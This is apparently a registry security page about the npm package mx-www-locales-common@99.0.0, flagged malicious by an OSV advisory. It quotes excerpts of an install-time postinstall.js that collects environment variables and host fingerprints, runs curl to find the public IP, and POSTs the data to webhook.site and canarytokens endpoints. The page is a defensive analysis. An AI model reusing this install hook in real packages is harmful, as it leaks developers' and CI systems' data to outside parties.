registry / mx-www-locales-common / 99.0.0

mx-www-locales-common@99.0.0

OSV Malicious Advisory

imported 15d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-16536 confirms this npm version as malicious. Malicious code in mx-www-locales-common (npm)

Advisory

MAL-2026-16536

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in mx-www-locales-common (npm)

Decision reason

One or more suspicious static signals were detected.

References

OSV advisory

Decision evidence

public snapshot

Behavioral surface

Source

ChildProcessEnvironmentVarsFilesystemNetworkShell

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 3.87 KB of source, external domains: api.ipify.org, canarytokens.com, ifconfig.me, webhook.site

Source & flagged code

6 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

2const fs = require('fs'); L3: const { execSync } = require('child_process'); L4:

High

Child Process

Package source references child process execution.

postinstall.jsView on unpkg · L2

29'BITBUCKET_BUILD_NUMBER', 'CODEBUILD_BUILD_ID', 'AWS_EXECUTION_ENV', L30: 'NODE_ENV', 'npm[redacted]', 'HOME', 'PWD', 'USER', 'LOGNAME', L31: 'LAMBDA_TASK_ROOT', 'KUBERNETES_SERVICE_HOST', 'DOCKER_HOST', ... L38: try { L39: pubIp = execSync( L40: 'curl -s --connect-timeout 3 https://ifconfig.me 2>/dev/null || curl -s --connect-timeout 3 https://api.ipify.org 2>/dev/null || echo ""', L41: { timeout: 5000, encoding: 'utf8' }

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

postinstall.jsView on unpkg · L29

2const fs = require('fs'); L3: const { execSync } = require('child_process'); L4: L5: const CANARYTOKEN_URL = 'http://canarytokens.[redacted].jsp'; L6: const WEBHOOK_URL = 'https://webhook.site/e97b40db-c35f-4f98-a2d4-3f94ad5fd668'; ... L8: function collectFingerprint() { L9: const net = os.networkInterfaces(); L10: const ips = []; ... L25: [ L26: 'CI', 'GITHUB_ACTIONS', 'GITHUB_WORKFLOW', 'GITHUB_REPOSITORY', L27: 'GITLAB_CI', 'JENKINS_HOME', 'BUILD_ID', 'BUILD_NUMBER', ... L29: 'BITBUCKET_BUILD_NUMBER', 'CODEBUILD_BUILD_ID', 'AWS_EXECUTION_ENV',

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

postinstall.jsView on unpkg · L2

•Trigger-reachable fixed external POST callback chain: scripts.postinstall -> postinstall.js const CANARYTOKEN_URL = 'http://canarytokens.[redacted].jsp'; const WEBHOOK_URL = 'https://webhook.site/e97b40db-c35f-4f98-a2d4-3f94ad5fd668'; 'curl -s --connect-timeout 3 https://ifconfig.me 2>/dev/null || curl -s --connect-timeout 3 https://api.ipify.org 2>/dev/null || echo ""', function httpGet(url) { const lib = url.startsWith('https') ? require('https') : require('http'); function httpPost(url, data) { const body = JSON.stringify(data); const lib = url.startsWith('https') ? require('https') : require('http');

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

postinstall.jsView on unpkg

mx-www-locales-common@99.0.0

OSV Malicious Advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code